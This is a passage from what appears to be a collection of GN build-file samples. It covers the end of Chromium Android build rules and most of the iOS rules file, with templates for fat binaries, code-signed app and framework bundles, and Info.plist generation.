\"--version-name\",\n          invoker.version_name,\n        ]\n      }\n      if (defined(invoker.has_code)) {\n        args += [\n          \"--has-code\",\n          invoker.has_code,\n        ]\n      }\n      args += [\n        \"--depfile\",\n        rebase_path(depfile, root_build_dir),\n      ]\n\n      script = \"//build/android/gyp/generate_split_manifest.py\"\n      outputs = [\n        invoker.out_manifest,\n      ]\n      inputs = [\n        invoker.main_manifest,\n      ]\n    }\n  }\n\n  template(\"pack_relocation_section\") {\n    assert(defined(invoker.file_list_json))\n    assert(defined(invoker.libraries_filearg))\n    action(target_name) {\n      forward_variables_from(invoker,\n                             [\n                               \"deps\",\n                               \"public_deps\",\n                               \"inputs\",\n                               \"testonly\",\n                             ])\n      script = \"//build/android/gyp/pack_relocations.py\"\n      depfile = \"$target_gen_dir/$target_name.d\"\n      _packed_libraries_dir = \"$target_gen_dir/$target_name/packed-libs\"\n      outputs = [\n        invoker.file_list_json,\n      ]\n      deps += [ relocation_packer_target ]\n\n      args = [\n        \"--depfile\",\n        rebase_path(depfile, root_build_dir),\n        \"--enable-packing=1\",\n        \"--android-pack-relocations\",\n        rebase_path(relocation_packer_exe, root_build_dir),\n        \"--stripped-libraries-dir\",\n        rebase_path(root_build_dir, root_build_dir),\n        \"--packed-libraries-dir\",\n        rebase_path(_packed_libraries_dir, root_build_dir),\n        \"--libraries=${invoker.libraries_filearg}\",\n        \"--filelistjson\",\n        rebase_path(invoker.file_list_json, root_build_dir),\n      ]\n    }\n  }\n}\n"
  },
  {
    "path": "samples/GN/ios-rules.gni",
    "content": "# Copyright 2015 The Chromium Authors. All rights reserved.\n# Use of this source code is governed by a BSD-style license that can be\n# found in the LICENSE file.\n\nimport(\"//build/config/ios/ios_sdk.gni\")\nimport(\"//build/config/mac/base_rules.gni\")\nimport(\"//build/config/mac/symbols.gni\")\nimport(\"//build/toolchain/toolchain.gni\")\n\n# Invokes lipo on multiple arch-specific binaries to create a fat binary.\n#\n# Arguments\n#\n#   arch_binary_target\n#     name of the target generating the arch-specific binaries, they must\n#     be named $target_out_dir/$toolchain_cpu/$arch_binary_output.\n#\n#   arch_binary_output\n#     (optional, defaults to the name of $arch_binary_target) base name of\n#     the arch-specific binary generated by arch_binary_target.\n#\n#   output_name\n#     (optional, defaults to $target_name) base name of the target output,\n#     the full path will be $target_out_dir/$output_name.\n#\n#   configs\n#     (optional) a list of configurations, this is used to check whether\n#     the binary should be stripped, when \"enable_stripping\" is true.\n#\ntemplate(\"lipo_binary\") {\n  assert(defined(invoker.arch_binary_target),\n         \"arch_binary_target must be defined for $target_name\")\n\n  _target_name = target_name\n  _output_name = target_name\n  if (defined(invoker.output_name)) {\n    _output_name = invoker.output_name\n  }\n\n  _all_target_cpu = [ current_cpu ] + additional_target_cpus\n  _all_toolchains = [ current_toolchain ] + additional_toolchains\n\n  _arch_binary_target = invoker.arch_binary_target\n  _arch_binary_output = get_label_info(_arch_binary_target, \"name\")\n  if (defined(invoker.arch_binary_output)) {\n    _arch_binary_output = invoker.arch_binary_output\n  }\n\n  action(_target_name) {\n    forward_variables_from(invoker,\n                           \"*\",\n                           [\n                             \"arch_binary_output\",\n                             \"arch_binary_target\",\n                             \"configs\",\n                             \"output_name\",\n                           ])\n\n    script = \"//build/toolchain/mac/linker_driver.py\"\n\n    outputs = [\n      \"$target_out_dir/$_output_name\",\n    ]\n\n    deps = []\n    _index = 0\n    inputs = []\n    foreach(_cpu, _all_target_cpu) {\n      _toolchain = _all_toolchains[_index]\n      _index = _index + 1\n\n      inputs +=\n          [ get_label_info(\"$_arch_binary_target($_toolchain)\",\n                           \"target_out_dir\") + \"/$_cpu/$_arch_binary_output\" ]\n\n      deps += [ \"$_arch_binary_target($_toolchain)\" ]\n    }\n\n    args = []\n    if (!use_system_xcode) {\n      args += [\n        \"--developer_dir\",\n        hermetic_xcode_path,\n      ]\n    }\n    args += [\n              \"xcrun\",\n              \"lipo\",\n              \"-create\",\n              \"-output\",\n              rebase_path(\"$target_out_dir/$_output_name\", root_build_dir),\n            ] + rebase_path(inputs, root_build_dir)\n\n    if (enable_dsyms) {\n      _dsyms_output_dir = \"$root_out_dir/$_output_name.dSYM\"\n      outputs += [\n        \"$_dsyms_output_dir/\",\n        \"$_dsyms_output_dir/Contents/Info.plist\",\n        \"$_dsyms_output_dir/Contents/Resources/DWARF/$_output_name\",\n      ]\n      args += [ \"-Wcrl,dsym,\" + rebase_path(\"$root_out_dir/.\", root_build_dir) ]\n    }\n\n    if (enable_stripping) {\n      # Check whether //build/config/mac:strip_all has been removed from the\n      # configs variables (as this is how stripping is disabled for a single\n      # target).\n      _strip_all_in_config = false\n      if (defined(invoker.configs)) {\n        foreach(_config, invoker.configs) {\n          if (_config == \"//build/config/mac:strip_all\") {\n            _strip_all_in_config = true\n          }\n        }\n      }\n\n      if (_strip_all_in_config) {\n        args += [ \"-Wcrl,strip,-x,-S\" ]\n        if (save_unstripped_output) {\n          outputs += [ \"$root_out_dir/$_output_name.unstripped\" ]\n          args += [ \"-Wcrl,unstripped,\" +\n                    rebase_path(\"$root_out_dir/.\", root_build_dir) ]\n        }\n      }\n    }\n  }\n}\n\n# Wrapper around create_bundle taking care of code signature settings.\n#\n# Arguments\n#\n#   product_type\n#       string, product type for the generated Xcode project.\n#\n#   bundle_deps\n#       (optional) list of additional dependencies\n#\n#   bundle_deps_filter\n#       (optional) list of dependencies to filter (for more information\n#       see \"gn help bundle_deps_filter\")\n#\n#   bundle_extension\n#       string, extension of the bundle, used to generate bundle name.\n#\n#   bundle_binary_target\n#       string, label of the target generating the bundle main binary.\n#\n#   bundle_binary_output\n#       (optional) string, base name of the binary generated by the\n#       bundle_binary_target target, defaults to the target name.\n#\n#   extra_system_frameworks\n#       (optional) list of system framework to copy to the bundle.\n#\n#   enable_code_signing\n#       (optional) boolean, control whether code signing is enabled or not,\n#       default to ios_enable_code_signing if not defined.\n#\n#   entitlements_path:\n#       (optional) path to the template to use to generate the application\n#       entitlements by performing variable substitutions, defaults to\n#       //build/config/ios/entitlements.plist.\n#\n#   entitlements_target:\n#       (optional) label of the target generating the application\n#       entitlements (must generate a single file as output); cannot be\n#       defined if entitlements_path is set.\n#\ntemplate(\"create_signed_bundle\") {\n  assert(defined(invoker.product_type),\n         \"product_type must be defined for $target_name\")\n  assert(defined(invoker.bundle_extension),\n         \"bundle_extension must be defined for $target_name\")\n  assert(defined(invoker.bundle_binary_target),\n         \"bundle_binary_target must be defined for $target_name\")\n\n  _target_name = target_name\n  _output_name = target_name\n  if (defined(invoker.output_name)) {\n    _output_name = invoker.output_name\n  }\n\n  _bundle_binary_target = invoker.bundle_binary_target\n  _bundle_binary_output = get_label_info(_bundle_binary_target, \"name\")\n  if (defined(invoker.bundle_binary_output)) {\n    _bundle_binary_output = invoker.bundle_binary_output\n  }\n\n  _bundle_extension = invoker.bundle_extension\n  _bundle_root_dir = \"$root_out_dir/$_output_name$_bundle_extension\"\n\n  if (!defined(invoker.entitlements_target)) {\n    _entitlements_path = \"//build/config/ios/entitlements.plist\"\n    if (defined(invoker.entitlements_path)) {\n      _entitlements_path = invoker.entitlements_path\n    }\n  } else {\n    assert(!defined(invoker.entitlements_path),\n           \"Cannot define both entitlements_path and entitlements_target \" +\n               \"for $target_name\")\n\n    _entitlements_target_outputs =\n        get_target_outputs(invoker.entitlements_target)\n    _entitlements_path = _entitlements_target_outputs[0]\n  }\n\n  _enable_code_signing = ios_enable_code_signing\n  if (defined(invoker.enable_code_signing)) {\n    _enable_code_signing = invoker.enable_code_signing\n  }\n\n  create_bundle(_target_name) {\n    forward_variables_from(invoker,\n                           [\n                             \"bundle_deps_filter\",\n                             \"data_deps\",\n                             \"deps\",\n                             \"product_type\",\n                             \"public_configs\",\n                             \"public_deps\",\n                             \"testonly\",\n                             \"visibility\",\n                           ])\n\n    bundle_root_dir = _bundle_root_dir\n    bundle_resources_dir = _bundle_root_dir\n    bundle_executable_dir = _bundle_root_dir\n    bundle_plugins_dir = \"$_bundle_root_dir/PlugIns\"\n\n    if (!defined(public_deps)) {\n      public_deps = []\n    }\n    public_deps += [ _bundle_binary_target ]\n\n    if (defined(invoker.bundle_deps)) {\n      if (!defined(deps)) {\n        deps = []\n      }\n      deps += invoker.bundle_deps\n    }\n    if (defined(invoker.entitlements_target)) {\n      if (!defined(deps)) {\n        deps = []\n      }\n      deps += [ invoker.entitlements_target ]\n    }\n\n    code_signing_script = \"//build/config/ios/codesign.py\"\n    code_signing_sources = [\n      _entitlements_path,\n      get_label_info(_bundle_binary_target, \"target_out_dir\") +\n          \"/$_bundle_binary_output\",\n    ]\n    code_signing_outputs = [ \"$_bundle_root_dir/$_output_name\" ]\n    if (_enable_code_signing) {\n      code_signing_outputs +=\n          [ \"$_bundle_root_dir/_CodeSignature/CodeResources\" ]\n    }\n    if (ios_code_signing_identity != \"\" && !use_ios_simulator) {\n      code_signing_outputs += [ \"$_bundle_root_dir/embedded.mobileprovision\" ]\n    }\n\n    if (defined(invoker.extra_system_frameworks)) {\n      foreach(_framework, invoker.extra_system_frameworks) {\n        code_signing_outputs += [ \"$bundle_root_dir/Frameworks/\" +\n                                  get_path_info(_framework, \"file\") ]\n      }\n    }\n\n    code_signing_args = []\n    if (!use_system_xcode) {\n      code_signing_args += [\n        \"--developer_dir\",\n        hermetic_xcode_path,\n      ]\n    }\n    code_signing_args += [\n      \"code-sign-bundle\",\n      \"-t=\" + ios_sdk_name,\n      \"-i=\" + ios_code_signing_identity,\n      \"-e=\" + rebase_path(_entitlements_path, root_build_dir),\n      \"-b=\" + rebase_path(\"$target_out_dir/$_output_name\", root_build_dir),\n      rebase_path(bundle_root_dir, root_build_dir),\n    ]\n    if (!_enable_code_signing) {\n      code_signing_args += [ \"--disable-code-signature\" ]\n    }\n    if (defined(invoker.extra_system_frameworks)) {\n      # All framework in extra_system_frameworks are expected to be\n      # system framework and the path to be already system absolute\n      # so do not use rebase_path here.\n      foreach(_framework, invoker.extra_system_frameworks) {\n        code_signing_args += [ \"-F=\" + _framework ]\n      }\n    }\n  }\n}\n\n# Generates Info.plist files for Mac apps and frameworks.\n#\n# Arguments\n#\n#     info_plist:\n#         (optional) string, path to the Info.plist file that will be used for\n#         the bundle.\n#\n#     info_plist_target:\n#         (optional) string, if the info_plist is generated from an action,\n#         rather than a regular source file, specify the target name in lieu\n#         of info_plist. The two arguments are mutually exclusive.\n#\n#     executable_name:\n#         string, name of the generated target used for the product\n#         and executable name as specified in the output Info.plist.\n#\n#     extra_substitutions:\n#         (optional) string array, 'key=value' pairs for extra fields which are\n#         specified in a source Info.plist template.\ntemplate(\"ios_info_plist\") {\n  assert(defined(invoker.info_plist) != defined(invoker.info_plist_target),\n         \"Only one of info_plist or info_plist_target may be specified in \" +\n             target_name)\n\n  if (defined(invoker.info_plist)) {\n    _info_plist = invoker.info_plist\n  } else {\n    _info_plist_target_output = get_target_outputs(invoker.info_plist_target)\n    _info_plist = _info_plist_target_output[0]\n  }\n\n  info_plist(target_name) {\n    format = \"binary1\"\n    extra_substitutions = []\n    if (defined(invoker.extra_substitutions)) {\n      extra_substitutions = invoker.extra_substitutions\n    }\n    extra_substitutions += [\n      \"IOS_BUNDLE_ID_PREFIX=$ios_app_bundle_id_prefix\",\n      \"IOS_DEPLOYMENT_TARGET=$ios_deployment_target\",\n      \"IOS_PLATFORM_BUILD=$ios_platform_build\",\n      \"IOS_PLATFORM_NAME=$ios_sdk_name\",\n      \"IOS_PLATFORM_VERSION=$ios_sdk_version\",\n      \"IOS_SDK_BUILD=$ios_sdk_build\",\n      \"IOS_SDK_NAME=$ios_sdk_name$ios_sdk_version\",\n      \"IOS_SUPPORTED_PLATFORM=$ios_sdk_platform\",\n    ]\n    plist_templates = [\n      \"//build/config/ios/BuildInfo.plist\",\n      _info_plist,\n    ]\n    if (defined(invoker.info_plist_target)) {\n      deps = [\n        invoker.info_plist_target,\n      ]\n    }\n    forward_variables_from(invoker,\n                           [\n                             \"executable_name\",\n                             \"output_name\",\n                             \"visibility\",\n                           ])\n  }\n}\n\n# Template to build an application bundle for iOS.\n#\n# This should be used instead of \"executable\" built-in target type on iOS.\n# As the template forward the generation of the application executable to\n# an \"executable\" target, all arguments supported by \"executable\" targets\n# are also supported by this template.\n#\n# Arguments\n#\n#   output_name:\n#       (optional) string, name of the generated application, if omitted,\n#       defaults to the target_name.\n#\n#   extra_substitutions:\n#       (optional) list of string in \"key=value\" format, each value will\n#       be used as an additional variable substitution rule when generating\n#       the application Info.plist\n#\n#   info_plist:\n#       (optional) string, path to the Info.plist file that will be used for\n#       the bundle.\n#\n#   info_plist_target:\n#       (optional) string, if the info_plist is generated from an action,\n#       rather than a regular source file, specify the target name in lieu\n#       of info_plist. The two arguments are mutually exclusive.\n#\n#   entitlements_path:\n#       (optional) path to the template to use to generate the application\n#       entitlements by performing variable substitutions, defaults to\n#       //build/config/ios/entitlements.plist.\n#\n#   entitlements_target:\n#       (optional) label of the target generating the application\n#       entitlements (must generate a single file as output); cannot be\n#       defined if entitlements_path is set.\n#\n#   bundle_extension:\n#       (optional) bundle extension including the dot, default to \".app\".\n#\n#   product_type\n#       (optional) string, product type for the generated Xcode project,\n#       default to \"com.apple.product-type.application\". Should generally\n#       not be overridden.\n#\n#   enable_code_signing\n#       (optional) boolean, control whether code signing is enabled or not,\n#       default to ios_enable_code_signing if not defined.\n#\n# For more information, see \"gn help executable\".\ntemplate(\"ios_app_bundle\") {\n  _output_name = target_name\n  _target_name = target_name\n  if (defined(invoker.output_name)) {\n    _output_name = invoker.output_name\n  }\n\n  _arch_executable_source = _target_name + \"_arch_executable_sources\"\n  _arch_executable_target = _target_name + \"_arch_executable\"\n  _lipo_executable_target = _target_name + \"_executable\"\n\n  source_set(_arch_executable_source) {\n    forward_variables_from(invoker,\n                           \"*\",\n                           [\n                             \"bundle_deps\",\n                             \"bundle_deps_filter\",\n                             \"bundle_extension\",\n                             \"enable_code_signing\",\n                             \"entitlements_path\",\n                             \"entitlements_target\",\n                             \"extra_substitutions\",\n                             \"extra_system_frameworks\",\n                             \"info_plist\",\n                             \"info_plist_target\",\n                             \"output_name\",\n                             \"product_type\",\n                             \"visibility\",\n                           ])\n\n    visibility = [ \":$_arch_executable_target\" ]\n  }\n\n  if (current_toolchain == default_toolchain || use_ios_simulator) {\n    _generate_entitlements_target = _target_name + \"_gen_entitlements\"\n    _generate_entitlements_output =\n        get_label_info(\":$_generate_entitlements_target($default_toolchain)\",\n                       \"target_out_dir\") + \"/$_output_name.xcent\"\n  }\n\n  executable(_arch_executable_target) {\n    forward_variables_from(invoker,\n                           \"*\",\n                           [\n                             \"bundle_deps\",\n                             \"bundle_deps_filter\",\n                             \"bundle_extension\",\n                             \"enable_code_signing\",\n                             \"entitlements_path\",\n                             \"entitlements_target\",\n                             \"extra_substitutions\",\n                             \"extra_system_frameworks\",\n                             \"info_plist\",\n                             \"info_plist_target\",\n                             \"output_name\",\n                             \"product_type\",\n                             \"sources\",\n                             \"visibility\",\n                           ])\n\n    visibility = [ \":$_lipo_executable_target($default_toolchain)\" ]\n    if (current_toolchain != default_toolchain) {\n      visibility += [ \":$_target_name\" ]\n    }\n\n    if (!defined(deps)) {\n      deps = []\n    }\n    deps += [ \":$_arch_executable_source\" ]\n\n    if (!defined(libs)) {\n      libs = []\n    }\n    libs += [ \"UIKit.framework\" ]\n\n    if (!defined(ldflags)) {\n      ldflags = []\n    }\n    ldflags += [\n      \"-Xlinker\",\n      \"-rpath\",\n      \"-Xlinker\",\n      \"@executable_path/Frameworks\",\n      \"-Xlinker\",\n      \"-objc_abi_version\",\n      \"-Xlinker\",\n      \"2\",\n    ]\n\n    if (use_ios_simulator) {\n      deps += [ \":$_generate_entitlements_target($default_toolchain)\" ]\n\n      if (!defined(inputs)) {\n        inputs = []\n      }\n      inputs += [ _generate_entitlements_output ]\n\n      if (!defined(ldflags)) {\n        ldflags = []\n      }\n      ldflags += [\n        \"-Xlinker\",\n        \"-sectcreate\",\n        \"-Xlinker\",\n        \"__TEXT\",\n        \"-Xlinker\",\n        \"__entitlements\",\n        \"-Xlinker\",\n        rebase_path(_generate_entitlements_output, root_build_dir),\n      ]\n    }\n\n    output_name = _output_name\n    output_prefix_override = true\n    output_dir = \"$target_out_dir/$current_cpu\"\n  }\n\n  if (current_toolchain != default_toolchain) {\n    # For fat builds, only the default toolchain will generate an application\n    # bundle. For the other toolchains, the template is only used for building\n    # the arch-specific binary, thus the default target is just a group().\n\n    group(_target_name) {\n      forward_variables_from(invoker,\n                             [\n                               \"visibility\",\n                               \"testonly\",\n                             ])\n      public_deps = [\n        \":$_arch_executable_target\",\n      ]\n    }\n  } else {\n    lipo_binary(_lipo_executable_target) {\n      forward_variables_from(invoker,\n                             [\n                               \"configs\",\n                               \"testonly\",\n                             ])\n\n      visibility = [ \":$_target_name\" ]\n      output_name = _output_name\n      arch_binary_target = \":$_arch_executable_target\"\n      arch_binary_output = _output_name\n    }\n\n    _generate_info_plist = target_name + \"_generate_info_plist\"\n    ios_info_plist(_generate_info_plist) {\n      forward_variables_from(invoker,\n                             [\n                               \"extra_substitutions\",\n                               \"info_plist\",\n                               \"info_plist_target\",\n                             ])\n\n      executable_name = _output_name\n    }\n\n    if (current_toolchain == default_toolchain) {\n      if (!defined(invoker.entitlements_target)) {\n        _entitlements_path = \"//build/config/ios/entitlements.plist\"\n        if (defined(invoker.entitlements_path)) {\n          _entitlements_path = invoker.entitlements_path\n        }\n      } else {\n        assert(!defined(invoker.entitlements_path),\n               \"Cannot define both entitlements_path and entitlements_target\" +\n                   \"for $_target_name\")\n\n        _entitlements_target_outputs =\n            get_target_outputs(invoker.entitlements_target)\n        _entitlements_path = _entitlements_target_outputs[0]\n      }\n\n      action(_generate_entitlements_target) {\n        _gen_info_plist_outputs = get_target_outputs(\":$_generate_info_plist\")\n        _info_plist_path = _gen_info_plist_outputs[0]\n\n        script = \"//build/config/ios/codesign.py\"\n        deps = [\n          \":$_generate_info_plist\",\n        ]\n        if (defined(invoker.entitlements_target)) {\n          deps += [ invoker.entitlements_target ]\n        }\n        sources = [\n          _entitlements_path,\n          _info_plist_path,\n        ]\n        outputs = [\n          _generate_entitlements_output,\n        ]\n\n        args = []\n        if (!use_system_xcode) {\n          args += [\n            \"--developer_dir\",\n            hermetic_xcode_path,\n          ]\n        }\n        args += [\n                  \"generate-entitlements\",\n                  \"-e=\" + rebase_path(_entitlements_path, root_build_dir),\n                  \"-p=\" + rebase_path(_info_plist_path, root_build_dir),\n                ] + rebase_path(outputs, root_build_dir)\n      }\n    }\n\n    _bundle_data_info_plist = target_name + \"_bundle_data_info_plist\"\n    bundle_data(_bundle_data_info_plist) {\n      forward_variables_from(invoker, [ \"testonly\" ])\n\n      sources = get_target_outputs(\":$_generate_info_plist\")\n      outputs = [\n        \"{{bundle_root_dir}}/Info.plist\",\n      ]\n      public_deps = [\n        \":$_generate_info_plist\",\n      ]\n    }\n\n    create_signed_bundle(_target_name) {\n      forward_variables_from(invoker,\n                             [\n                               \"bundle_deps\",\n                               \"bundle_deps_filter\",\n                               \"bundle_extension\",\n                               \"data_deps\",\n                               \"deps\",\n                               \"enable_code_signing\",\n                               \"entitlements_path\",\n                               \"entitlements_target\",\n                               \"extra_system_frameworks\",\n                               \"product_type\",\n                               \"public_configs\",\n                               \"public_deps\",\n                               \"testonly\",\n                               \"visibility\",\n                             ])\n\n      output_name = _output_name\n      bundle_binary_target = \":$_lipo_executable_target\"\n      bundle_binary_output = _output_name\n\n      if (!defined(bundle_deps)) {\n        bundle_deps = []\n      }\n      bundle_deps += [ \":$_bundle_data_info_plist\" ]\n\n      if (use_ios_simulator) {\n        if (!defined(data_deps)) {\n          data_deps = []\n        }\n        data_deps += [ \"//testing/iossim\" ]\n      }\n\n      if (!defined(product_type)) {\n        product_type = \"com.apple.product-type.application\"\n      }\n\n      if (!defined(bundle_extension)) {\n        bundle_extension = \".app\"\n      }\n    }\n  }\n}\n\nset_defaults(\"ios_app_bundle\") {\n  configs = default_executable_configs\n}\n\n# Template to build an application extension bundle for iOS.\n#\n# This should be used instead of \"executable\" built-in target type on iOS.\n# As the template forward the generation of the application executable to\n# an \"executable\" target, all arguments supported by \"executable\" targets\n# are also supported by this template.\n#\n# Arguments\n#\n#   output_name:\n#       (optional) string, name of the generated application, if omitted,\n#       defaults to the target_name.\n#\n#   extra_substitutions:\n#       (optional) list of string in \"key=value\" format, each value will\n#       be used as an additional variable substitution rule when generating\n#       the application Info.plist\n#\n#   info_plist:\n#       (optional) string, path to the Info.plist file that will be used for\n#       the bundle.\n#\n#   info_plist_target:\n#       (optional) string, if the info_plist is generated from an action,\n#       rather than a regular source file, specify the target name in lieu\n#       of info_plist. The two arguments are mutually exclusive.\n#\n# For more information, see \"gn help executable\".\ntemplate(\"ios_appex_bundle\") {\n  ios_app_bundle(target_name) {\n    forward_variables_from(invoker,\n                           \"*\",\n                           [\n                             \"bundle_extension\",\n                             \"product_type\",\n                           ])\n    bundle_extension = \".appex\"\n    product_type = \"com.apple.product-type.app-extension\"\n\n    # Add linker flags required for an application extension (determined by\n    # inspecting the link command-line when using Xcode 9.0+).\n    if (!defined(ldflags)) {\n      ldflags = []\n    }\n    ldflags += [\n      \"-e\",\n      \"_NSExtensionMain\",\n      \"-fapplication-extension\",\n    ]\n  }\n}\n\nset_defaults(\"ios_appex_bundle\") {\n  configs = default_executable_configs\n}\n\n# Compile a xib or storyboard file and add it to a bundle_data so that it is\n# available at runtime in the bundle.\n#\n# Arguments\n#\n#   source:\n#       string, path of the xib or storyboard to compile.\n#\n# Forwards all variables to the bundle_data target.\ntemplate(\"bundle_data_xib\") {\n  assert(defined(invoker.source), \"source needs to be defined for $target_name\")\n\n  _source_extension = get_path_info(invoker.source, \"extension\")\n  assert(_source_extension == \"xib\" || _source_extension == \"storyboard\",\n         \"source must be a .xib or .storyboard for $target_name\")\n\n  _target_name = target_name\n  _compile_xib = target_name + \"_compile_xib\"\n\n  compile_xibs(_compile_xib) {\n    sources = [\n      invoker.source,\n    ]\n    visibility = [ \":$_target_name\" ]\n    ibtool_flags = [\n      \"--minimum-deployment-target\",\n      ios_deployment_target,\n      \"--auto-activate-custom-fonts\",\n      \"--target-device\",\n      \"iphone\",\n      \"--target-device\",\n      \"ipad\",\n    ]\n  }\n\n  bundle_data(_target_name) {\n    forward_variables_from(invoker, \"*\", [ \"source\" ])\n\n    if (!defined(public_deps)) {\n      public_deps = []\n    }\n    public_deps += [ \":$_compile_xib\" ]\n\n    sources = get_target_outputs(\":$_compile_xib\")\n\n    outputs = [\n      \"{{bundle_resources_dir}}/{{source_file_part}}\",\n    ]\n  }\n}\n\n# Compile a strings file and add it to a bundle_data so that it is available\n# at runtime in the bundle.\n#\n# Arguments\n#\n#   source:\n#       string, path of the strings file to compile.\n#\n#   output:\n#       string, path of the compiled file in the final bundle.\n#\n# Forwards all variables to the bundle_data target.\ntemplate(\"bundle_data_strings\") {\n  assert(defined(invoker.source), \"source needs to be defined for $target_name\")\n  assert(defined(invoker.output), \"output needs to be defined for $target_name\")\n\n  _source_extension = get_path_info(invoker.source, \"extension\")\n  assert(_source_extension == \"strings\",\n         \"source must be a .strings for $target_name\")\n\n  _target_name = target_name\n  _convert_target = target_name + \"_compile_strings\"\n\n  convert_plist(_convert_target) {\n    visibility = [ \":$_target_name\" ]\n    source = invoker.source\n    output =\n        \"$target_gen_dir/$_target_name/\" + get_path_info(invoker.source, \"file\")\n    format = \"binary1\"\n  }\n\n  bundle_data(_target_name) {\n    forward_variables_from(invoker,\n                           \"*\",\n                           [\n                             \"source\",\n                             \"output\",\n                           ])\n\n    if (!defined(public_deps)) {\n      public_deps = []\n    }\n    public_deps += [ \":$_convert_target\" ]\n\n    sources = get_target_outputs(\":$_convert_target\")\n\n    outputs = [\n      invoker.output,\n    ]\n  }\n}\n\n# Template to package a shared library into an iOS framework bundle.\n#\n# By default, the bundle target this template generates does not link the\n# resulting framework into anything that depends on it. If a dependency wants\n# a link-time (as well as build-time) dependency on the framework bundle,\n# depend against \"$target_name+link\". If only the build-time dependency is\n# required (e.g., for copying into another bundle), then use \"$target_name\".\n#\n# Arguments\n#\n#     output_name:\n#         (optional) string, name of the generated framework without the\n#         .framework suffix. If omitted, defaults to target_name.\n#\n#     public_headers:\n#         (optional) list of paths to header file that needs to be copied\n#         into the framework bundle Headers subdirectory. If omitted or\n#         empty then the Headers subdirectory is not created.\n#\n#     sources\n#         (optional) list of files. Needs to be defined and non-empty if\n#         public_headers is defined and non-empty.\n#\n#   enable_code_signing\n#       (optional) boolean, control whether code signing is enabled or not,\n#       default to ios_enable_code_signing if not defined.\n#\n# This template provides two targets for the resulting framework bundle. The\n# link-time behavior varies depending on which of the two targets below is\n# added as a dependency:\n#   - $target_name only adds a build-time dependency. Targets that depend on\n#     it will not link against the framework.\n#   - $target_name+link adds a build-time and link-time dependency. Targets\n#     that depend on it will link against the framework.\n#\n# The build-time-only dependency is used for when a target needs to use the\n# framework either only for resources, or because the target loads it at run-\n# time, via dlopen() or NSBundle. The link-time dependency will cause the\n# dependee to have the framework loaded by dyld at launch.\n#\n# Example of build-time only dependency:\n#\n#     framework_bundle(\"CoreTeleportation\") {\n#       sources = [ ... ]\n#     }\n#\n#     bundle_data(\"core_teleportation_bundle_data\") {\n#       deps = [ \":CoreTeleportation\" ]\n#       sources = [ \"$root_out_dir/CoreTeleportation.framework\" ]\n#       outputs = [ \"{{bundle_root_dir}}/Frameworks/{{source_file_part}}\" ]\n#     }\n#\n#     app_bundle(\"GoatTeleporter\") {\n#       sources = [ ... ]\n#       deps = [\n#         \":core_teleportation_bundle_data\",\n#       ]\n#     }\n#\n# The GoatTeleporter.app will not directly link against\n# CoreTeleportation.framework, but it will be included in the bundle's\n# Frameworks directory.\n#\n# Example of link-time dependency:\n#\n#     framework_bundle(\"CoreTeleportation\") {\n#       sources = [ ... ]\n#       ldflags = [\n#         \"-install_name\",\n#         \"@executable_path/../Frameworks/$target_name.framework\"\n#       ]\n#     }\n#\n#     bundle_data(\"core_teleportation_bundle_data\") {\n#       deps = [ \":CoreTeleportation+link\" ]\n#       sources = [ \"$root_out_dir/CoreTeleportation.framework\" ]\n#       outputs = [ \"{{bundle_root_dir}}/Frameworks/{{source_file_part}}\" ]\n#     }\n#\n#     app_bundle(\"GoatTeleporter\") {\n#       sources = [ ... ]\n#       deps = [\n#         \":core_teleportation_bundle_data\",\n#       ]\n#     }\n#\n# Note that the framework is still copied to the app's bundle, but dyld will\n# load this library when the app is launched because it uses the \"+link\"\n# target as a dependency. This also requires that the framework set its\n# install_name so that dyld can locate it.\n#\n# See \"gn help shared_library\" for more information on arguments supported\n# by shared library target.\ntemplate(\"ios_framework_bundle\") {\n  _target_name = target_name\n  _output_name = target_name\n  if (defined(invoker.output_name)) {\n    _output_name = invoker.output_name\n  }\n\n  _has_public_headers =\n      defined(invoker.public_headers) && invoker.public_headers != []\n\n  if (_has_public_headers) {\n    _framework_headers_target = _target_name + \"_framework_headers\"\n    _framework_headers_config = _target_name + \"_framework_headers_config\"\n    _headers_map_config = _target_name + \"_headers_map\"\n  }\n\n  _arch_shared_library_source = _target_name + \"_arch_shared_library_sources\"\n  _arch_shared_library_target = _target_name + \"_arch_shared_library\"\n  _lipo_shared_library_target = _target_name + \"_shared_library\"\n\n  source_set(_arch_shared_library_source) {\n    forward_variables_from(invoker,\n                           \"*\",\n                           [\n                             \"bundle_deps\",\n                             \"bundle_deps_filter\",\n                             \"data_deps\",\n                             \"enable_code_signing\",\n                             \"info_plist\",\n                             \"info_plist_target\",\n                             \"output_name\",\n                             \"visibility\",\n                           ])\n\n    visibility = [ \":$_arch_shared_library_target\" ]\n\n    if (_has_public_headers) {\n      configs += [\n        \":$_framework_headers_config($default_toolchain)\",\n        \":$_headers_map_config($default_toolchain)\",\n      ]\n\n      if (!defined(deps)) {\n        deps = []\n      }\n      deps += [ \":$_framework_headers_target($default_toolchain)\" ]\n    }\n  }\n\n  shared_library(_arch_shared_library_target) {\n    forward_variables_from(invoker,\n                           \"*\",\n                           [\n                             \"bundle_deps\",\n                             \"bundle_deps_filter\",\n                             \"data_deps\",\n                             \"enable_code_signing\",\n                             \"info_plist\",\n                             \"info_plist_target\",\n                             \"output_name\",\n                             \"sources\",\n                             \"visibility\",\n                           ])\n\n    visibility = [ \":$_lipo_shared_library_target($default_toolchain)\" ]\n    if (current_toolchain != default_toolchain) {\n      visibility += [ \":$_target_name\" ]\n    }\n\n    if (!defined(deps)) {\n      deps = []\n    }\n    deps += [ \":$_arch_shared_library_source\" ]\n\n    if (!defined(ldflags)) {\n      ldflags = []\n    }\n    ldflags += [\n      \"-Xlinker\",\n      \"-install_name\",\n      \"-Xlinker\",\n      \"@rpath/$_output_name.framework/$_output_name\",\n      \"-Xlinker\",\n      \"-objc_abi_version\",\n      \"-Xlinker\",\n      \"2\",\n    ]\n\n    output_extension = \"\"\n    output_name = _output_name\n    output_prefix_override = true\n    output_dir = \"$target_out_dir/$current_cpu\"\n  }\n\n  if (current_toolchain != default_toolchain) {\n    # For fat builds, only the default toolchain will generate a framework\n    # bundle. For the other toolchains, the template is only used for building\n    # the arch-specific binary, thus the default target is just a group().\n\n    group(_target_name) {\n      forward_variables_from(invoker,\n                             [\n                               \"visibility\",\n                               \"testonly\",\n                             ])\n      public_deps = [\n        \":$_arch_shared_library_target\",\n      ]\n    }\n\n    group(_target_name + \"+link\") {\n      forward_variables_from(invoker,\n                             [\n                               \"visibility\",\n                               \"testonly\",\n                             ])\n      public_deps = [\n        \":$_target_name+link($default_toolchain)\",\n      ]\n    }\n\n    if (defined(invoker.bundle_deps)) {\n      assert(invoker.bundle_deps != [], \"mark bundle_deps as used\")\n    }\n  } else 